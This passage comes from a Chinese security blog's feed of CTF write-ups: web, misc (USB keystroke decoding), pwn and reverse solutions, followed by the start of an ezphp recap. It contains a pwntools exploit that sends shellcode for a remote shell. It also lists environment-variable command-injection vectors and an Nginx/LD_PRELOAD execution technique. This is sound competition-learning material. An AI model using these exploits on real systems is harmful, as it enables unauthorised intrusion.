  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>输出结果base64解码，然后Urlencode，结果传给a参数以POST方式请求给<code>index.php/index/test</code>路由</p>
<p>示例图如下：</p>
<p><img
  src="/4b4c66/15DXSCTF_web_Ezpop.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="937" height="522"
/>
</p>
<h2 id="misc">Misc<a class="anchor" href="#misc">#</a></h2>
<h3 id="ez_usb">ez_usb<a class="anchor" href="#ez_usb">#</a></h3>
<p>筛选<code>usb.src==&quot;2.8.1&quot;</code>导出特定分组为1.pcapng，筛选<code>usb.src==&quot;2.10.1&quot;</code>导出特定分组为2.pcapng</p>
<p>然后用<code>UsbKeyboardDataHacker.py</code>解析1.pcapng</p>
<p><img
  src="/4b4c66/15DXSCTF_misc_usb_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="629" height="194"
/>
</p>
<p>得到的字符串去掉<code>&lt;CAP&gt;</code>，然后去掉<code>&lt;DEL&gt;</code>以及前面的字母c，因为DEL代表删除，前面一个字母输入也被删了。然后剩下的字符串，通过如下脚本转存为rar文件，我用HEX编辑器转存的rar打不开，不知道啥原因</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">import</span> <span class="nn">binascii</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">hex_data</span> <span class="o">=</span> <span class="s1">&#39;字符串&#39;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">out</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;输出的rar路径&#39;</span><span class="p">,</span> <span class="s1">&#39;wb&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">out</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">hex_data</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="n">out</span><span class="o">.</span><span class="n">close</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这个压缩包需要密码，而密码就是用<code>UsbKeyboardDataHacker.py</code>解析2.pcapng得到的字符串</p>
<p>输入密码即可得到flag</p>
<h3 id="问卷调查">问卷调查<a class="anchor" href="#问卷调查">#</a></h3>
<p>填写完因为官方没买会员，人家不给交，哈哈哈笑死了。然后官方应该是买了，提交问卷就给flag</p>
<h2 id="pwn">Pwn<a class="anchor" href="#pwn">#</a></h2>
<h3 id="login-nomal">login-nomal<a class="anchor" href="#login-nomal">#</a></h3>
<p>exp：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span><span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s2">&#34;debug&#34;</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;ip&#34;</span><span class="p">,</span><span class="s2">&#34;port&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">recv</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">shellcode</span> <span class="o">=</span> <span class="s2">&#34;Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t&#34;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;opt:1</span><span class="se">\n</span><span class="s2">&#34;</span> <span class="o">+</span> <span class="s2">&#34;msg:ro0t1</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="s2">&#34;opt:2</span><span class="se">\n</span><span class="s2">&#34;</span> <span class="o">+</span> <span class="s2">&#34;msg:&#34;</span> <span class="o">+</span> <span class="n">shellcode</span> <span class="o">+</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>注意一下shellcode写法就行</p>
<h2 id="reverse">Reverse<a class="anchor" href="#reverse">#</a></h2>
<h3 id="baby_tree">baby_tree<a class="anchor" href="#baby_tree">#</a></h3>
<p>文本打开文件，把值拿出来就行。看就行了跟swift一样硬看，可惜那个没看出来，赛后和朋友交流发现写法有很多，这里只放一个python写的</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="n">res</span><span class="o">=</span><span class="p">[</span><span class="mi">88</span><span class="p">,</span><span class="mi">35</span><span class="p">,</span><span class="mi">88</span><span class="p">,</span><span class="mi">225</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">201</span><span class="p">,</span><span class="mi">57</span><span class="p">,</span><span class="mi">94</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">56</span><span class="p">,</span><span class="mi">75</span><span class="p">,</span><span class="mi">168</span><span class="p">,</span><span class="mi">72</span><span class="p">,</span><span class="mi">218</span><span class="p">,</span><span class="mi">64</span><span class="p">,</span><span class="mi">91</span><span class="p">,</span><span class="mi">16</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">32</span><span class="p">,</span><span class="mi">207</span><span class="p">,</span><span class="mi">73</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">     <span class="mi">130</span><span class="p">,</span><span class="mi">74</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">201</span><span class="p">,</span><span class="mi">16</span><span class="p">,</span><span class="mi">248</span><span class="p">,</span><span class="mi">41</span><span class="p">,</span><span class="mi">205</span><span class="p">,</span><span class="mi">103</span><span class="p">,</span><span class="mi">84</span><span class="p">,</span><span class="mi">91</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">79</span><span class="p">,</span><span class="mi">202</span><span class="p">,</span><span class="mi">22</span><span class="p">,</span><span class="mi">131</span><span class="p">,</span><span class="mi">63</span><span class="p">,</span><span class="mi">255</span><span class="p">,</span><span class="mi">20</span><span class="p">,</span><span class="mi">16</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">key</span><span class="o">=</span><span class="p">[</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="s2">&#34;345y&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">def</span> <span class="nf">my_encode</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="n">key</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="n">b</span><span class="o">=</span><span class="n">data</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="n">key</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">b</span><span class="p">)</span><span class="o">-</span><span class="mi">4</span><span class="o">+</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="n">r0</span><span class="p">,</span><span class="n">r1</span><span class="p">,</span><span class="n">r2</span><span class="p">,</span><span class="n">r3</span><span class="o">=</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">],</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">],</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">],</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">r2</span><span class="o">^</span><span class="p">((</span><span class="n">k</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="p">(</span><span class="n">r0</span><span class="o">&gt;&gt;</span><span class="mi">4</span><span class="p">))</span><span class="o">&amp;</span><span class="mh">0xff</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="o">=</span><span class="n">r3</span><span class="o">^</span><span class="p">((</span><span class="n">k</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="p">(</span><span class="n">r1</span><span class="o">&gt;&gt;</span><span class="mi">2</span><span class="p">))</span><span class="o">&amp;</span><span class="mh">0xff</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span><span class="o">=</span><span class="n">r0</span><span class="o">^</span><span class="n">k</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="n">r1</span><span class="o">^</span><span class="n">k</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="n">k</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="n">k</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="n">k</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span><span class="n">k</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="n">k</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="n">k</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span><span class="n">k</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span><span class="n">k</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="k">return</span> <span class="n">b</span><span class="o">==</span><span class="n">res</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="k">def</span> <span class="nf">my_decode</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="n">key</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="n">b</span><span class="o">=</span><span class="n">data</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="n">key</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">k</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">k</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">k</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="n">k</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">k</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="n">k</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span> <span class="n">k</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="n">k</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">38</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="n">r1</span><span class="o">=</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span><span class="o">^</span><span class="n">k</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="n">r0</span><span class="o">=</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span><span class="o">^</span><span class="n">k</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="n">r3</span><span class="o">=</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="o">^</span><span class="p">((</span><span class="n">k</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="p">(</span><span class="n">r1</span><span class="o">&gt;&gt;</span><span class="mi">2</span><span class="p">))</span><span class="o">&amp;</span><span class="mh">0xff</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="n">r2</span><span class="o">=</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">^</span><span class="p">((</span><span class="n">k</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="p">(</span><span class="n">r0</span><span class="o">&gt;&gt;</span><span class="mi">4</span><span class="p">))</span><span class="o">&amp;</span><span class="mh">0xff</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="n">k</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">k</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="n">k</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span> <span class="n">k</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">k</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">k</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">k</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="n">k</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">b</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">],</span> <span class="n">b</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">],</span> <span class="n">b</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">r0</span><span class="p">,</span> <span class="n">r1</span><span class="p">,</span> <span class="n">r2</span><span class="p">,</span> <span class="n">r3</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">b</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="n">my_decode</span><span class="p">(</span><span class="n">res</span><span class="p">,</span><span class="n">key</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>flag为：<code>flag{30831242-56db-45b4-96fd-1f47e60da99d}</code></p>
<p>做了十个，解决50%，没进分区赛很烦。理论题这种设定让人想开个泥头车创创设计者！</p>
]]></content:encoded><h:img src="https://h4cker.zip/4b4c66/15DXSCTF.webp"/><enclosure url="https://h4cker.zip/4b4c66/15DXSCTF.webp"/><category>国赛</category></item><item><title>2022虎符CTF WEB赛后复现</title><link>https://h4cker.zip/b87bf4/</link><pubDate>Thu, 24 Mar 2022 22:05:00 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/b87bf4/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="1ezphp">1、ezphp<a class="anchor" href="#1ezphp">#</a></h2>
<p>参考Jacko师傅的这篇<a
  href="https://www.wolai.com/4X2FgV1HkxcBYBRZT31T4F" rel="nofollow noopener noreferrer" target="_blank"
  >虎符CTF<span style="user-select:none"> ↗</span></a
>
</p>
<p>写的已经很详细了，先简单梳理一下题目，题目与P师傅的这篇文章类似<a
  href="https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html" rel="nofollow noopener noreferrer" target="_blank"
  >我是如何利用环境变量注入执行任意命令<span style="user-select:none"> ↗</span></a
>
。简单来说就是不同的系统，他的system命令调用的命令不同。</p>
<p>php中调用system本质上是调用了sh -c，在不同操作系统中：</p>
<ul>
<li>debian：sh→dash</li>
<li>centos：sh→bash</li>
</ul>
<p>总结：</p>
<ul>
<li><code>BASH_ENV</code>：可以在<code>bash -c</code>的时候注入任意命令</li>
<li><code>ENV</code>：可以在<code>sh -i -c</code>的时候注入任意命令</li>
<li><code>PS1</code>：可以在<code>sh</code>或<code>bash</code>交互式环境下执行任意命令</li>
<li><code>PROMPT_COMMAND</code>：可以在<code>bash</code>交互式环境下执行任意命令</li>
<li><code>BASH_FUNC_xxx%%</code>：可以在<code>bash -c</code>或<code>sh -c</code>的时候执行任意命令</li>
</ul>
<p>题目就是P师傅没解决的debian系统</p>
<p>而这篇文章解决了这个问题<a
  href="https://blog.zeddyu.info/2021/12/27/2021-12-20-ANewNovelLFI/" rel="nofollow noopener noreferrer" target="_blank"
  >hxp CTF 2021 - A New Novel LFI<span style="user-select:none"> ↗</span></a
>
</p>
<p>Nginx对于请求的body内容会以临时文件的形式存储起来</p>
<p>大概思路是：</p>
<ul>
<li>请求一个过大的body，会在/proc/self/fd目录下生成临时文件</li>
<li>传一个填满大量脏数据的so文件</li>
<li>竞争LD_PRELOAD包含 proc 目录下的临时文件</li>
</ul>
<p>这是生成so的源文件</p>
